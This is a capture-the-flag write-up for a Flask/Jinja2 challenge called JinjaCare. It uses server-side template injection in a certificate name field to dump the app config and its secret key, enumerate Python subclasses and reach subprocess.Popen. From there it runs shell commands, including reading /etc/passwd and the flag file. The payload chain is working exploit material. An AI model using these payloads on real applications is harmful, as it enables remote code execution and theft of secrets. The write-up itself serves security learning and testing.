Back to Write-ups

JinjaCare

Bug Bounty CTF

Context

JinjaCare is a web application designed to help citizens manage and access their COVID-19 vaccination records. The platform allows users to store their vaccination history and generate digital certificates. They've asked you to hunt for any potential security issues in their application and retrieve the flag stored in their site.

📝 Related Bug Bounty Reports

Summary of the Reports

Report #125980 – RCE via SSTI in Flask/Jinja2

  • Target used Flask + Jinja2
  • An endpoint rendered user input directly into a template
  • Payload: {{''.__class__.__mro__[2].__subclasses__()}} used to enumerate classes
  • Found the subprocess.Popen class and used it to get RCE via:
    {{''.__class__.__mro__[2].__subclasses__()[<INDEX>](["id"], shell=True, stdout=-1).communicate()}}

Report #1104349 – SSTI in PDF Generation

  • Vulnerability found in certificate PDF generation
  • Attacker submitted a malicious name value like:
    {{7*7}}
  • PDF generation rendered the user's name using Jinja2
  • Resulting PDF showed 49, confirming SSTI
  • Later escalated to RCE using the same class chain payload:
    {{''.__class__.__mro__[2].__subclasses__()[index]('cat /etc/passwd', shell=True, stdout=-1).communicate()[0].decode()}}

Exploitation

First, to escalate privileges, I created an account. Later I saw input fields valuable for the SSTI vulnerability. There is one specific field which was vulnerable to revealing information in the certificate.

Initial Payload Testing

Payload 1:

{{ config }}

Response:

Name: <Config {'DEBUG': True, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SECRET_KEY': '60eafc7593c192b34aaca09a60cbaa34fee7266e059c0aea79c9000bb24aed47', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}> Vaccination Status: Fully Vaccinated Date of Issue: 2025-06-27

Class Enumeration

When attempting to enumerate classes:

{{''.__class__.__mro__[2].__subclasses__()}}

The response was:

Error generating certificate: tuple object has no element 2

Further Enumeration

Using the following payloads:

{{ ''.__class__.__mro__[1].__subclasses__()[0].__name__ }}
{{ ''.__class__.__mro__[1].__subclasses__()[1].__name__ }}
{{ ''.__class__.__mro__[1].__subclasses__()[2].__name__ }}

Returned:

weakref weakcallableproxy weakproxy

Finding Popen

Used a loop to find popen:

{% for c in ''.__class__.__mro__[1].__subclasses__() %}
  {{ loop.index0 }} - {{ c.__name__ }}<br>
{% endfor %}

Final Exploitation

Used the following payload to reveal the flag:

{{ ''.__class__.__mro__[1].__subclasses__()[359]('cat /flag.txt', shell=True, stdout=-1).communicate()[0].decode() }}

This revealed the flag in the certificate!

JinjaCare Certificate showing the captured flag